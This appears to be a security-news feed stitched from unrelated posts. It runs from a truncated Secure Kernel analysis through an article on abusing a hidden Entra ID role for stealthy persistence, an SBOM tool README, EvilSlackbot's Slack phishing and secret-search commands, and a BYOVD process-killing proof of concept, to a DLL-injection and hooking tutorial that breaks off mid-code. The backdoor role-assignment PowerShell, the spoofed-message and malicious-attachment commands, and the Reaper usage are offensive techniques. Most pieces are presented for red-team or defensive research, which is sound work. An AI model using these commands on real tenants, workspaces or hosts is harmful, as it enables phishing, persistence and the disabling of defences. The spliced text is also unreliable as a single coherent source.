After the Secure Image object is created, the “clean-up” code for the end of the function (securekernel!SkmmCreateSecureSection) dereferences the object if the object was created but failure occured during the setting up of the initial object. Notice that the object is dereferenced at 0x20 bytes before the actual object address.

What does this mean? Objects are prepended with a header that contains metadata about the object itself. The reference count for an object, historically, on Windows is contained in the object header (for the normal kernel this is nt!_OBJECT_HEADER). This tells us that each object managed by the Secure Kernel has a 0x20 byte header! Taking a look at securekernel!SkobpDereferenceObject we can clearly see that within this header the reference count itself is stored at offset 0x18. We can also see that there is an object destructor, contained in the header itself.

Just like regular NT objects, there is a similar “OBJECT_TYPE” setup (nt!PsProcessType, nt!PsThreadType, etc.). Taking a look at the image below, securekernel!SkmiImageType is used when referring to Secure Image Objects.

Existing art denotes that this object type pointer (securekernel!SkmiImageType) contains the destructor and size of the object. This can be corroborated by the interested reader by opening securekernel.exe as data in WinDbg (windbgx -z C:\Windows\system32\securekernel.exe) and looking at the object type directly. This reveals that for the securekernel!SkmiImageType symbol there is an object destructor and, as we saw earlier with the value 0xc8, the size of this type of object.

The following are a list of most of the valid objects in the Secure Kernel I located (although it is unclear without further analysis what many of them are used for):

  1. Secure Image Objects (securekernel!SkmiImageType)
  2. Secure HAL DMA Enabler Objects (securekernel!SkhalpDmaEnablerType)
  3. Secure HAL DMA Mapping Objects (securekernel!SkhalpDmaMappingType)
  4. Secure Enclave Objects (securekernel!SkmiEnclaveType)
  5. Secure Hal Extension Object (securekernel!SkhalExtensionType)
  6. Secure Allocation Object (securekernel!SkmiSecureAllocationType)
  7. Secure Thread Object (securekernel!SkeThreadType)
  8. Secure Shadow Synchronization Objects (events/semaphores) (securekernel!SkeShadowSyncObjectType)
  9. Secure Section Object (securekernel!SkmiSectionType)
  10. Secure Process Object (securekernel!SkpsProcessType)
  11. Secure Worker Factory Object (securekernel!SkeWorkerFactoryObjectType)
  12. Secure PnP Device Object (securekernel!SkPnpSecureDeviceObjectType)

Additional Resources

Legitimately, at the end of the analysis I did for this blog, I stumbled across these wonderful documents titled “Security Policy Document”. They are produced by Microsoft for FIPS (The Federal Information Processing Standard). They contains some additional insight into SKCI/CI. Additional documents on other Windows technologies can be found here.

Conclusion

I hope the reader found at least this blog to not be so boring, even if it wasn’t informational to you. As always, if you have feedback please don’t hesitate to reach out to me. I would also like to thank Andrea Allievi for answering a few of my questions about this blog post! I did not ask Andrea to review every single aspect of this post (so any errors in this post are completely mine). If, again, there are issues identified please reach out to me so I can make edits!

Peace, love, and positivity!

Improved Guidance for Azure Network Service Tags

Summary Microsoft Security Response Center (MSRC) was notified in January 2024 by our industry partner, Tenable Inc., about the potential for cross-tenant access to web resources using the service tags feature. Microsoft acknowledged that Tenable provided a valuable contribution to the Azure community by highlighting that it can be easily misunderstood how to use service tags and their intended purpose.

Stealthy Persistence with “Directory Synchronization Accounts” Role in Entra ID

Summary

The “Directory Synchronization Accounts” Entra role is very powerful (allowing privilege escalation to the Global Administrator role) while being hidden in Azure portal and Entra admin center, in addition to being poorly documented, making it a perfect stealthy backdoor for persistence in Entra ID 🙈

This was discovered by Tenable Research while working on identity security.

“Directory Synchronization Accounts” role

Permissions inside Microsoft Entra ID (e.g. reset user password, change group membership, create applications, etc.) are granted through Entra roles. This article focuses on the Directory Synchronization Accounts role among the around 100 built-in Entra roles. This role has the ID “d29b2b05–8046–44ba-8758–1e26182fcf32”, it has the PRIVILEGED label that was recently introduced, and its description is:

This is a privileged role. Do not use. This role is automatically assigned to the Microsoft Entra Connect service, and is not intended or supported for any other use.

A privileged role that one should not use? It sounds like an invitation to me! 😉

The documentation seems to say that this special role cannot be freely assigned:

This special built-in role can’t be granted outside of the Microsoft Entra Connect wizard

This is incorrect since it can be assigned technically, even if it shouldn’t be (pull-request to fix this).

Privileged role

I confirm that the role is privileged because, of course, it contains some permissions marked as privileged, but also because it has implicit permissions in the private undocumented “Azure AD Synchronization” API (not to be confused with the public “Microsoft Entra Synchronization” API).

These permissions allow escalation up to the Global Administrator role using several methods that we will see later💥

Normal usage by Microsoft Entra Connect

The normal usage of this role is indeed to be assigned to the Entra service account used by “Entra Connect” (formerly “Azure AD Connect”), i.e. the user named “On-Premises Directory Synchronization Service Account” which has a UPN with this syntax: “SYNC_<name of the on-prem server where Entra Connect runs>_<random id>@tenant.example.net”.

Even though it is not documented (I’ve proposed a pull-request to fix this), this role is also assigned to the similar Entra service account used by “Entra Cloud Sync” (formerly “Azure AD Connect Cloud Sync”), i.e. the user also named “On-Premises Directory Synchronization Service Account” but which has a UPN with this syntax: “[email protected]” instead.

This role grants to the Entra service user, the permissions it requires to perform its inter-directory provisioning duties, such as creating/updating hybrid Entra users from the on-premises AD users, updating their password in Entra when it changes in AD with Password Hash Sync enabled, etc.

Security defaults

Security defaults is a feature in Entra ID allowing to activate multiple security features at once to increase security, notably requiring Multi-Factor Authentication (MFA). However, as documented by Microsoft and highlighted by Dr. Nestori Syynimaa @DrAzureAD, the “Directory Synchronization Accounts” role assignees are excluded from security defaults!

Dr. Nestori Syynimaa on Twitter: "Pro tip for threat actors:Create your persistent account as directory synchronization account. It has nice permissions and excluded from security defaults 🥷Pro tip for admins:Purchase Azure AD premium and block all users with that role (excluding the real sync account) 🔥 https://t.co/tm7YZtSdQv pic.twitter.com/RUnvILwucE / Twitter"

Pro tip for threat actors:Create your persistent account as directory synchronization account. It has nice permissions and excluded from security defaults 🥷Pro tip for admins:Purchase Azure AD premium and block all users with that role (excluding the real sync account) 🔥 https://t.co/tm7YZtSdQv pic.twitter.com/RUnvILwucE

Nestori also confirmed that the limitation concerns all those assigned to the role (I’ve proposed a pull-request to update the doc).

Once again, I understand the need for this since the legitimate accounts are user accounts, thus subject to MFA rules. However, this could be abused by a malicious administrator who wants to avoid MFA 😉

Hidden role

Here is the proof that this role is hidden in the Azure portal / Entra admin center. See this Entra Connect service account apparently having 1 role assigned:

But no results are shown in the “Assigned roles” menu (same in the other tabs, e.g. “Eligible assignments”) 🤔:

Actually I tested it in several of my tenants and I noticed that the role was displayed in another tenant:

I suppose that the portal is running a different version of the code, or due to a feature-flag or A/B testing, because this one uses the MS Graph API (on graph.microsoft.com) to list the role assignments:

Whereas the other uses a private API (on api.azrbac.mspim.azure.com):

I noticed this difference last year when I initially reported this behavior to MSRC.

And what about the “Roles and administrators” menu? We should be able to see the “Directory Synchronization Accounts” built-in role, isn’t it? Well, as you guessed, it’s hidden too 🙈 (in all my tenants: no difference here):

Note that for those that prefer it, the observations are identical in the Entra admin center.

I understand that Microsoft decided to hide it since this is a technical role that isn’t meant to be assigned by customers. A handful of other similar roles are hidden too. However, from a security perspective, I find it dangerous because organizations cannot use the Microsoft portals to see who may have this privileged role assigned illegitimately 😨! I reported this concern to MSRC (reference VULN-083495) last year, who confirmed that it was not a security issue and that they created a feature request to eventually improve the UX to help customers understand it.

This is the reason why I consider that this privileged role is a stealthy persistence method for attackers who compromised an Entra tenant.

Abuse methods

We will see how the security principals (users, but also service principals!) assigned to the “Directory Synchronization Accounts” role can elevate their privileges to the Global Administrator role! 😎

Password reset

There are several articles online explaining that the Entra Connect (ex- Azure AD Connect) service account in Entra ID is allowed to reset user passwords. One example is the “Unnoticed sidekick: Getting access to cloud as an on-prem admin” article by Dr. Nestori Syynimaa where “Set-AADIntUserPassword” is used.

I suppose this is allowed by the “microsoft.directory/passwordHashSync/allProperties/allTasks” Entra permission of the role, but I cannot check for sure.

There are some limitations though:

  • Only hybrid accounts (synchronized from on-premises AD) can be targeted (which was only recently fixed)
  • Only if Password-Hash Sync (PHS) is enabled, but the role allows to enable it
  • Only via the private “Azure AD Synchronization” API, that is implemented in AADInternals, whose endpoint is https://adminwebservice.microsoftonline.com/provisioningservice.svc and it must not be confused with other similarly named APIs: the public Microsoft Entra Synchronization API, or the private Azure AD Provisioning API. So, the reset must be done using the Set-AADIntUserPassword AADInternals PowerShell cmdlet.
  • Not exploitable if the target has MFA or FIDO2 authentication enforced since the password can still be reset but authentication won’t be possible

Add credentials to privileged application / service principal

The other interesting method was described by Fabian Bader in this article: “From on-prem to Global Admin without password reset”. I recommend that you read the original article, but in a summary, the idea is to identify an application or service principal having powerful Microsoft Graph API permissions, then abuse the “microsoft.directory/applications/credentials/update” or “microsoft.directory/servicePrincipals/credentials/update” Entra permissions, which the “Directory Synchronization Accounts” role holds, to add credentials to it. Thus allowing to authenticate as the service principal, and abuse the appropriate method corresponding to the dangerous Graph API permission to escalate to Global Admin.

This method was also described by Dirk-jan Mollema in this article: “Azure AD privilege escalation — Taking over default application permissions as Application Admin“.

Manage role assignment

Since one cannot manage this role using Azure portal nor Entra admin center, how to list or manage its assignees? We will see how, using the Microsoft Graph PowerShell SDK since the Azure AD PowerShell module is now deprecated.

List role assignees

The Get-MgDirectoryRoleMember command allows to list the security principals assigned to a role. We reference the “Directory Synchronization Accounts” role by its well-known ID (as seen in the beginning) instead of its name for better reliability:

Connect-MgGraph -Scopes "Domain.Read.All"
$dirSync = Get-MgDirectoryRole -Filter "RoleTemplateId eq 'd29b2b05-8046-44ba-8758-1e26182fcf32'"
Get-MgDirectoryRoleMember -DirectoryRoleId $dirSync.Id | Format-List *

The output is not very consistent because role assignees are “security principals” which can be either users, groups, or service principals (undocumented 😉), so different types of objects.

In this example I have specified the “Domain.Read.All” Graph API permission when connecting, because it is usually already delegated, but the least privileged permission is actually “RoleManagement.Read.Directory”.

Add role assignment

And how an attacker wishing to abuse this role for stealthy persistence would assign it? With the New-MgRoleManagementDirectoryRoleAssignment command:

Connect-MgGraph -Scopes "RoleManagement.ReadWrite.Directory"
$dirSync = Get-MgDirectoryRole -Filter "RoleTemplateId eq 'd29b2b05-8046-44ba-8758-1e26182fcf32'"
$hacker = Get-MgUser -UserId [email protected]
New-MgRoleManagementDirectoryRoleAssignment -RoleDefinitionId $dirSync.Id -PrincipalId $hacker.Id -DirectoryScopeId "/"

In this example, I have specified the “RoleManagement.ReadWrite.Directory” Graph API permission when connecting, which is the least privileged permission.

Also, if this role has never been used in the tenant (for example if Entra Connect / Entra Cloud Sync was never configured), the role instance must be created from the role template before usage, with this command:

New-MgDirectoryRole -RoleTemplateId "d29b2b05-8046-44ba-8758-1e26182fcf32"

Remove role assignment

A malicious role assignment, or one which is a leftover from when the Entra tenant was hybrid, can be removed with the Remove-MgDirectoryRoleMemberByRef command:

$dirSync = Get-MgDirectoryRole -Filter "RoleTemplateId eq 'd29b2b05-8046-44ba-8758-1e26182fcf32'"
Remove-MgDirectoryRoleMemberByRef -DirectoryRoleId $dirSync.Id -DirectoryObjectId <object ID of the assignee to remove>

Recommendations

➡️ As a conclusion, my recommendation is to list and monitor the security principals assigned to the “Directory Synchronization Accounts” role. Since you cannot use the Azure portal / Entra admin center to see those, you must use the Graph API (or the deprecated Azure AD PowerShell module) as described above. Thankfully, you will soon be able list all role assignees from the comfort of Tenable One or Tenable Identity Exposure.

🕵️ Any unrecognized suspicious assignee must be investigated because it may be a potential backdoor. Does it look like a legitimate Entra Connect or Entra Cloud Sync service user? Does its creation date correspond to the set up date of hybrid synchronization? Etc. Tenable Identity Exposure will soon add an Indicator of Exposure (IoE) allowing automatic identification of those suspicious “Directory Synchronization Accounts” role assignments, including more detailed recommendations.

🛡️ As a safety net, you can also follow Dr. Nestori Syynimaa’s recommendation to create a Conditional Access policy to block all users with that role, except the real legitimate synchronization user.

🤞 Finally, I hope that Microsoft will soon find a solution, with a better user experience, allowing to discourage the usage of the “Directory Synchronization Accounts” role, without resorting to hiding it, so customers can use the Azure portal or Entra admin center to see the role and its assignees.


Stealthy Persistence with “Directory Synchronization Accounts” Role in Entra ID was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Startup-SBOM - A Tool To Reverse Engineer And Inspect The RPM And APT Databases To List All The Packages Along With Executables, Service And Versions


This is a simple SBOM utility which aims to provide an insider view on which packages are getting executed.

The process and objective is simple we can get a clear perspective view on the packages installed by APT (currently working on implementing this for RPM and other package managers). This is mainly needed to check which all packages are actually being executed.


Installation

The packages needed are mentioned in the requirements.txt file and can be installed using pip:

pip3 install -r requirements.txt

Usage

  • First of all install the packages.
  • Secondly , you need to set up environment variables such as:
    • Mount the image: Currently I am still working on a mechanism to automatically define a mount point and mount different types of images and volumes but its still quite a task for me.
  • Finally run the tool to list all the packages.
Argument Description
--analysis-mode Specifies the mode of operation. Default is static. Choices are static and chroot.
--static-type Specifies the type of analysis for static mode. Required for static mode only. Choices are info and service.
--volume-path Specifies the path to the mounted volume. Default is /mnt.
--save-file Specifies the output file for JSON output.
--info-graphic Specifies whether to generate visual plots for CHROOT analysis. Default is True.
--pkg-mgr Manually specify the package manager or dont add this option for automatic check.
APT:
- Static Info Analysis:
- This command runs the program in static analysis mode, specifically using the Info Directory analysis method.
- It analyzes the packages installed on the mounted volume located at /mnt.
- It saves the output in a JSON file named output.json.
- It generates visual plots for CHROOT analysis.
```bash
python3 main.py --pkg-mgr apt --analysis-mode static --static-type info --volume-path /mnt --save-file output.json
```
  • Static Service Analysis:

  • This command runs the program in static analysis mode, specifically using the Service file analysis method.

  • It analyzes the packages installed on the mounted volume located at /custom_mount.
  • It saves the output in a JSON file named output.json.
  • It does not generate visual plots for CHROOT analysis. bash python3 main.py --pkg-mgr apt --analysis-mode static --static-type service --volume-path /custom_mount --save-file output.json --info-graphic False

  • Chroot analysis with or without Graphic output:

  • This command runs the program in chroot analysis mode.
  • It analyzes the packages installed on the mounted volume located at /mnt.
  • It saves the output in a JSON file named output.json.
  • It generates visual plots for CHROOT analysis.
  • For graphical output keep --info-graphic as True else False bash python3 main.py --pkg-mgr apt --analysis-mode chroot --volume-path /mnt --save-file output.json --info-graphic True/False

RPM - Static Analysis: - Similar to how its done on apt but there is only one type of static scan avaialable for now. bash python3 main.py --pkg-mgr rpm --analysis-mode static --volume-path /mnt --save-file output.json

  • Chroot analysis with or without Graphic output:
  • Exactly how its done on apt. bash python3 main.py --pkg-mgr rpm --analysis-mode chroot --volume-path /mnt --save-file output.json --info-graphic True/False

Supporting Images

Currently the tool works on Debian and Red Hat based images I can guarentee the debian outputs but the Red-Hat onces still needs work to be done its not perfect.

I am working on the pacman side of things I am trying to find a relaiable way of accessing the pacman db for static analysis.

Graphical Output Images (Chroot)

APT Chroot

RPM Chroot

Inner Workings

For the workings and process related documentation please read the wiki page: Link

TODO

  • [x] Support for RPM
  • [x] Support for APT
  • [x] Support for Chroot Analysis
  • [x] Support for Versions
  • [x] Support for Chroot Graphical output
  • [x] Support for organized graphical output
  • [ ] Support for Pacman

Ideas and Discussions

Ideas regarding this topic are welcome in the discussions page.



EvilSlackbot - A Slack Bot Phishing Framework For Red Teaming Exercises

EvilSlackbot

A Slack Attack Framework for conducting Red Team and phishing exercises within Slack workspaces.

Disclaimer

This tool is intended for Security Professionals only. Do not use this tool against any Slack workspace without explicit permission to test. Use at your own risk.


Background

Thousands of organizations utilize Slack to help their employees communicate, collaborate, and interact. Many of these Slack workspaces install apps or bots that can be used to automate different tasks within Slack. These bots are individually provided permissions that dictate what tasks the bot is permitted to request via the Slack API. To authenticate to the Slack API, each bot is assigned an api token that begins with xoxb or xoxp. More often than not, these tokens are leaked somewhere. When these tokens are exfiltrated during a Red Team exercise, it can be a pain to properly utilize them. Now EvilSlackbot is here to automate and streamline that process. You can use EvilSlackbot to send spoofed Slack messages, phishing links, files, and search for secrets leaked in slack.

Phishing Simulations

In addition to red teaming, EvilSlackbot has also been developed with Slack phishing simulations in mind. To use EvilSlackbot to conduct a Slack phishing exercise, simply create a bot within Slack, give your bot the permissions required for your intended test, and provide EvilSlackbot with a list of emails of employees you would like to test with simulated phishes (Links, files, spoofed messages)

Installation

EvilSlackbot requires python3 and Slackclient

pip3 install slackclient

Usage

usage: EvilSlackbot.py [-h] -t TOKEN [-sP] [-m] [-s] [-a] [-f FILE] [-e EMAIL]
[-cH CHANNEL] [-eL EMAIL_LIST] [-c] [-o OUTFILE] [-cL]

options:
-h, --help show this help message and exit

Required:
-t TOKEN, --token TOKEN
Slack Oauth token

Attacks:
-sP, --spoof Spoof a Slack message, customizing your name, icon, etc
(Requires -e,-eL, or -cH)
-m, --message Send a message as the bot associated with your token
(Requires -e,-eL, or -cH)
-s, --search Search slack for secrets with a keyword
-a, --attach Send a message containing a malicious attachment (Requires -f
and -e,-eL, or -cH)

Arguments:
-f FILE, --file FILE Path to file attachment
-e EMAIL, --email EMAIL
Email of target
-cH CHANNEL, --channel CHANNEL
Target Slack Channel (Do not include #)
-eL EMAIL_LIST, --email_list EMAIL_LIST
Path to list of emails separated by newline
-c, --check Lookup and display the permissions and available attacks
associated with your provided token.
-o OUTFILE, --outfile OUTFILE
Outfile to store search results
-cL, --channel_list List all public Slack channels

Token

To use this tool, you must provide a xoxb or xoxp token.

Required:
-t TOKEN, --token TOKEN (Slack xoxb/xoxp token)
python3 EvilSlackbot.py -t <token>

Attacks

Depending on the permissions associated with your token, there are several attacks that EvilSlackbot can conduct. EvilSlackbot will automatically check what permissions your token has and will display them and any attack that you are able to perform with your given token.

Attacks:
-sP, --spoof Spoof a Slack message, customizing your name, icon, etc (Requires -e,-eL, or -cH)

-m, --message Send a message as the bot associated with your token (Requires -e,-eL, or -cH)

-s, --search Search slack for secrets with a keyword

-a, --attach Send a message containing a malicious attachment (Requires -f and -e,-eL, or -cH)

Spoofed messages (-sP)

With the correct token permissions, EvilSlackbot allows you to send phishing messages while impersonating the botname and bot photo. This attack also requires either the email address (-e) of the target, a list of target emails (-eL), or the name of a Slack channel (-cH). EvilSlackbot will use these arguments to lookup the SlackID of the user associated with the provided emails or channel name. To automate your attack, use a list of emails.

python3 EvilSlackbot.py -t <xoxb token> -sP -e <email address>

python3 EvilSlackbot.py -t <xoxb token> -sP -eL <email list>

python3 EvilSlackbot.py -t <xoxb token> -sP -cH <Channel name>

Phishing Messages (-m)

With the correct token permissions, EvilSlackbot allows you to send phishing messages containing phishing links. What makes this attack different from the Spoofed attack is that this method will send the message as the bot associated with your provided token. You will not be able to choose the name or image of the bot sending your phish. This attack also requires either the email address (-e) of the target, a list of target emails (-eL), or the name of a Slack channel (-cH). EvilSlackbot will use these arguments to lookup the SlackID of the user associated with the provided emails or channel name. To automate your attack, use a list of emails.

python3 EvilSlackbot.py -t <xoxb token> -m -e <email address>

python3 EvilSlackbot.py -t <xoxb token> -m -eL <email list>

python3 EvilSlackbot.py -t <xoxb token> -m -cH <Channel name>

Secret Search (-s)

With the correct token permissions, EvilSlackbot allows you to search Slack for secrets via a keyword search. Right now, this attack requires a xoxp token, as xoxb tokens can not be given the proper permissions to keyword search within Slack. Use the -o argument to write the search results to an outfile.

python3 EvilSlackbot.py -t <xoxp token> -s -o <outfile.txt>

Attachments (-a)

With the correct token permissions, EvilSlackbot allows you to send file attachments. The attachment attack requires a path to the file (-f) you wish to send. This attack also requires either the email address (-e) of the target, a list of target emails (-eL), or the name of a Slack channel (-cH). EvilSlackbot will use these arguments to lookup the SlackID of the user associated with the provided emails or channel name. To automate your attack, use a list of emails.

python3 EvilSlackbot.py -t <xoxb token> -a -f <path to file> -e <email address>

python3 EvilSlackbot.py -t <xoxb token> -a -f <path to file> -eL <email list>

python3 EvilSlackbot.py -t <xoxb token> -a -f <path to file> -cH <Channel name>

Arguments

Arguments:
-f FILE, --file FILE Path to file attachment
-e EMAIL, --email EMAIL Email of target
-cH CHANNEL, --channel CHANNEL Target Slack Channel (Do not include #)
-eL EMAIL_LIST, --email_list EMAIL_LIST Path to list of emails separated by newline
-c, --check Lookup and display the permissions and available attacks associated with your provided token.
-o OUTFILE, --outfile OUTFILE Outfile to store search results
-cL, --channel_list List all public Slack channels

Channel Search

With the correct permissions, EvilSlackbot can search for and list all of the public channels within the Slack workspace. This can help with planning where to send channel messages. Use -o to write the list to an outfile.

python3 EvilSlackbot.py -t <xoxb token> -cL


Reaper - Proof Of Concept On BYOVD Attack


Reaper is a proof-of-concept designed to exploit BYOVD (Bring Your Own Vulnerable Driver) driver vulnerability. This malicious technique involves inserting a legitimate, vulnerable driver into a target system, which allows attackers to exploit the driver to perform malicious actions.

Reaper was specifically designed to exploit the vulnerability present in the kprocesshacker.sys driver in version 2.8.0.0, taking advantage of its weaknesses to gain privileged access and control over the target system.

Note: Reaper does not kill the Windows Defender process, as it has a protection, Reaper is a simple proof of concept.


Features

  • Kill process
  • Suspend process

Help

      ____
/ __ \___ ____ _____ ___ _____
/ /_/ / _ \/ __ `/ __ \/ _ \/ ___/
/ _, _/ __/ /_/ / /_/ / __/ /
/_/ |_|\___/\__,_/ .___/\___/_/
/_/

[Coded by MrEmpy]
[v1.0]

Usage: C:\Windows\Temp\Reaper.exe [OPTIONS] [VALUES]
Options:
sp, suspend process
kp, kill process

Values:
PROCESSID process id to suspend/kill

Examples:
Reaper.exe sp 1337
Reaper.exe kp 1337

Demonstration

Install

You can compile it directly from the source code or download it already compiled. You will need Visual Studio 2022 to compile.

Note: The executable and driver must be in the same directory.



Building a Verifier DLL

1 June 2024 at 02:50

The Application Verifier tool that is part of the Windows SDK provide a way to analyze processes for various types of misbehavior. The GUI provided looks like the following:

Application Verifier application window

To add an application, you can browse your file system and select an executable. The Application Verifier settings are based around the executable name only – not a full path. This is because verifier settings are stored in a subkey under Image File Execution Options with the name of the executable. For the notepad example above, you’ll find the following in the Registry:

Key for notepad.exe under the IFEO subkey

This IFEO subkey is used for NT Global Flags settings, one of which is using the Application Verifier. The GlobalFlag value is shown to be 0x100, which is the bit used for the verifier. Another way to set it without any extra information is using the GFlags tool, part of the Debugging Tools for Windows package:

GFlags tool

The Application Verifier lists a bunch of DLLs under the VerifierDLLs value. Each one must be located in the system directory (e.g., c:\Windows\System32). Full paths are not supported; this is intentional, because the list of DLLs are going to be loaded to any process running the specified executable, and it would be risky to load DLLs from arbitrary locations in the file system. The system directory, as well as the IFEO key are normally write-accessible by administrators only.

The list of verifier DLLs is selected based on the set of tests selected by the user on the right hand side of the GUI. You’ll find subkeys that are used by the system-provided verifier DLLs with more settings related to the tests selected.

The nice thing about any verifier DLL specified, is that these DLLs are loaded early in the process lifetime, by verifier.dll (in itself loaded by NTDLL.dll), before any other DLLs are loaded into the process. Even attaching a debugger to the process while launching it would “miss” the loading of these DLLs.

This behavior makes this technique attractive for injecting a DLL into arbitrary processes. It’s even possible to enable Application Verifier globally and even dynamically (without the need to restart the system), so that these DLLs are injected into all processes (except protected processes).

Writing a Verifier DLL

Application Verifier tests descriptions is not the focus of this post. Rather, we’ll look into what it takes to create such a DLL that can be injected early and automatically into processes of our choice. As we’ll see, it’s not just about mere injection. The verifier infrastructure (part of verifier.dll) provides convenient facilities to hook functions.

If we create a standard DLL, set up the verifier entries while adding our DLL to the list of verifier DLLs (possibly removing the “standard” ones), and try to run our target executable (say, notepad), we get the following nasty message box:

The process shuts down, which means that if a verifier DLL fails to be properly processed, the process terminates rather than “skipping” the DLL.

Launching notepad with WinDbg spits the following output:

ModLoad: 00007ff7`6dfa0000 00007ff7`6dfd8000   notepad.exe
ModLoad: 00007ffd`978f0000 00007ffd`97ae8000   ntdll.dll
ModLoad: 00007ffd`1f650000 00007ffd`1f6c4000   C:\Windows\System32\verifier.dll
Page heap: pid 0x10CEC: page heap enabled with flags 0x3.
AVRF: notepad.exe: pid 0x10CEC: flags 0x81643027: application verifier enabled
ModLoad: 00007ffc`cabd0000 00007ffc`cad6f000   C:\Windows\SYSTEM32\MyVerify.dll
ModLoad: 00007ffd`97650000 00007ffd`9770d000   C:\Windows\System32\KERNEL32.dll
ModLoad: 00007ffd`951b0000 00007ffd`954a6000   C:\Windows\System32\KERNELBASE.dll
AVRF: provider MyVerify.dll did not initialize correctly

Clearly the DLL did not initialize correctly, which is what the NTSTATUS 0xc0000142 was trying to tell us in the message box.

DLLs are initialized with the DllMain function that typically looks like this:

BOOL WINAPI DllMain(HMODULE hModule, DWORD reason, PVOID lpReserved) {
	switch (reason) {
		case DLL_PROCESS_ATTACH:
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
			break;
	}
	return TRUE;
}

The classic four values shown are used by the DLL to run code when it’s loaded into a process (DLL_PROCESS_ATTACH), unloaded from a process (DLL_PROCESS_DETACH), a thread is created in the process (DLL_THREAD_ATTACH), and thread is exiting in the process (DLL_THREAD_DETACH). It turns out that there is a fifth value, which must be used with verifiier DLLs:

#define DLL_PROCESS_VERIFIER 4

Returning TRUE from such a case is not nearly enough. Instead, a structure expected by the caller of DllMain must be initialized and its address provided in lpReserved. The following structures and callback type definitions are needed:

typedef struct _RTL_VERIFIER_THUNK_DESCRIPTOR {
	PCHAR ThunkName;
	PVOID ThunkOldAddress;
	PVOID ThunkNewAddress;
} RTL_VERIFIER_THUNK_DESCRIPTOR, *PRTL_VERIFIER_THUNK_DESCRIPTOR;

typedef struct _RTL_VERIFIER_DLL_DESCRIPTOR {
	PWCHAR DllName;
	ULONG DllFlags;
	PVOID DllAddress;
	PRTL_VERIFIER_THUNK_DESCRIPTOR DllThunks;
} RTL_VERIFIER_DLL_DESCRIPTOR, *PRTL_VERIFIER_DLL_DESCRIPTOR;

typedef void (NTAPI* RTL_VERIFIER_DLL_LOAD_CALLBACK) (
	PWSTR DllName,
	PVOID DllBase,
	SIZE_T DllSize,
	PVOID Reserved);
typedef void (NTAPI* RTL_VERIFIER_DLL_UNLOAD_CALLBACK) (
	PWSTR DllName,
	PVOID DllBase,
	SIZE_T DllSize,
	PVOID Reserved);
typedef void (NTAPI* RTL_VERIFIER_NTDLLHEAPFREE_CALLBACK) (
	PVOID AllocationBase,
	SIZE_T AllocationSize);

typedef struct _RTL_VERIFIER_PROVIDER_DESCRIPTOR {
	ULONG Length;
	PRTL_VERIFIER_DLL_DESCRIPTOR ProviderDlls;
	RTL_VERIFIER_DLL_LOAD_CALLBACK ProviderDllLoadCallback;
	RTL_VERIFIER_DLL_UNLOAD_CALLBACK ProviderDllUnloadCallback;

	PWSTR VerifierImage;
	ULONG VerifierFlags;
	ULONG VerifierDebug;

	PVOID RtlpGetStackTraceAddress;
	PVOID RtlpDebugPageHeapCreate;
	PVOID RtlpDebugPageHeapDestroy;

	RTL_VERIFIER_NTDLLHEAPFREE_CALLBACK ProviderNtdllHeapFreeCallback;
} RTL_VERIFIER_PROVIDER_DESCRIPTOR;

That’s quite a list. The main structure is RTL_VERIFIER_PROVIDER_DESCRIPTOR
that has a pointer to an array of RTL_VERIFIER_DLL_DESCRIPTOR
(the last element in the array must end with all zeros), which in itself points to an array of RTL_VERIFIER_THUNK_DESCRIPTOR
, used for specifying functions to hook. There are a few callbacks as well. At a minimum, we can define this descriptor like so (no hooking, no special code in callbacks):

RTL_VERIFIER_DLL_DESCRIPTOR noHooks{};

RTL_VERIFIER_PROVIDER_DESCRIPTOR desc = {
	sizeof(desc),
	&noHooks,
	[](auto, auto, auto, auto) {},
	[](auto, auto, auto, auto) {},
	nullptr, 0, 0,
	nullptr, nullptr, nullptr,
	[](auto, auto) {},
};

We can define these simply as global variables and return the address of desc in the handling of DLL_PROCESS_VERIFIER:

case DLL_PROCESS_VERIFIER:
	*(PVOID*)lpReserved = &desc;
	break;

With this code in place, we can try launching notepad again (after copying MyVerify.Dll to the System32 directory). Here is the output from WinDbg:

ModLoad: 00007ff7`6dfa0000 00007ff7`6dfd8000   notepad.exe
ModLoad: 00007ffd`978f0000 00007ffd`97ae8000   ntdll.dll
ModLoad: 00007ffd`1f650000 00007ffd`1f6c4000   C:\Windows\System32\verifier.dll
Page heap: pid 0xB30C: page heap enabled with flags 0x3.
AVRF: notepad.exe: pid 0xB30C: flags 0x81643027: application verifier enabled
ModLoad: 00007ffd`25b50000 00007ffd`25cf1000   C:\Windows\SYSTEM32\MyVerify.dll
ModLoad: 00007ffd`97650000 00007ffd`9770d000   C:\Windows\System32\KERNEL32.dll
ModLoad: 00007ffd`951b0000 00007ffd`954a6000   C:\Windows\System32\KERNELBASE.dll
ModLoad: 00007ffd`963e0000 00007ffd`9640b000   C:\Windows\System32\GDI32.dll
ModLoad: 00007ffd`95790000 00007ffd`957b2000   C:\Windows\System32\win32u.dll
ModLoad: 00007ffd`95090000 00007ffd`951a7000   C:\Windows\System32\gdi32full.dll
...

This time it works. MyVerify.dll loads right after verifier.dll (which is the one managing verify DLLs).

Hooking Functions

As mentioned before, we can use the verifier engine’s support for hooking functions in arbitrary DLLs. Let’s give this a try by hooking into a couple of functions, GetMessage and CreateFile. First, we need to set up the structures for the hooks on a per-DLL basis:

RTL_VERIFIER_THUNK_DESCRIPTOR user32Hooks[] = {
	{ (PCHAR)"GetMessageW", nullptr, HookGetMessage },
	{ nullptr, nullptr, nullptr },
};

RTL_VERIFIER_THUNK_DESCRIPTOR kernelbaseHooks[] = {
	{ (PCHAR)"CreateFileW", nullptr, HookCreateFile },
	{ nullptr, nullptr, nullptr },
};

The second NULL in each triplet is where the original address of the hooked function is stored by the verifier engine. Now we fill the structure with the list of DLLs, pointing to the hook arrays:

RTL_VERIFIER_DLL_DESCRIPTOR dlls[] = {
	{ (PWCHAR)L"user32.dll", 0, nullptr, user32Hooks },
	{ (PWCHAR)L"kernelbase.dll", 0, nullptr, kernelbaseHooks },
	{ nullptr, 0, nullptr, nullptr },
};

Finally, we update the main structure with the dlls array:

RTL_VERIFIER_PROVIDER_DESCRIPTOR desc = {
	sizeof(desc),
	dlls,
	[](auto, auto, auto, auto) {},
	[](auto, auto, auto, auto) {},
	nullptr, 0, 0,
	nullptr, nullptr, nullptr,
	[](auto, auto) {},
};

The last thing is to actually implement the hooks:

BOOL WINAPI HookGetMessage(PMSG msg, HWND hWnd, UINT filterMin, UINT filterMax) {
	// get original function
	static const auto orgGetMessage = (decltype(::GetMessageW)*)user32Hooks[0].ThunkOldAddress;
